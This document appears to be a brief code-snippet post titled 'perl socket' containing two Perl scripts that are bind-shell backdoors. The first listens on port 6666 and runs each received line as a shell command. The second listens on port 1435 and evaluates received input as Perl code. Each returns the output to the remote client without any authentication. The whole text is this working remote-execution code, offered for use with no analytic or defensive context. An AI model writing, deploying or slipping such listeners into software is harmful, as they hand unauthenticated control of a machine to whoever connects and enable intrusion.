perl socket

#!/usr/bin/perl
# not real authorship!many perler wrote samely code
use IO::Socket;
my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 'LocalPort'=>6666 , 'Listen'=>1 , 'Proto'=>'tcp' , 'Reuse'=>1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept()){
    print $new_socket ":>";
    while (my $buffer=<$new_socket>){
        if ($buffer=~m/exit/){
            close($new_socket);
    }else{
      $res_msg=`$buffer`;
      print $new_socket $res_msg."\n";
      print $new_socket ":>";
    }             
  }
}

#!/usr/bin/perl
use IO::Socket;
my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 'LocalPort'=>1435 , 'Listen'=>1 , 'Proto'=>'tcp' , 'Reuse'=>1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept()){
    print $new_socket ":>";
    while (my $buffer=<$new_socket>){
      print $new_socket eval $buffer ,$@,"\n";
      print $new_socket ":>";
    }            
}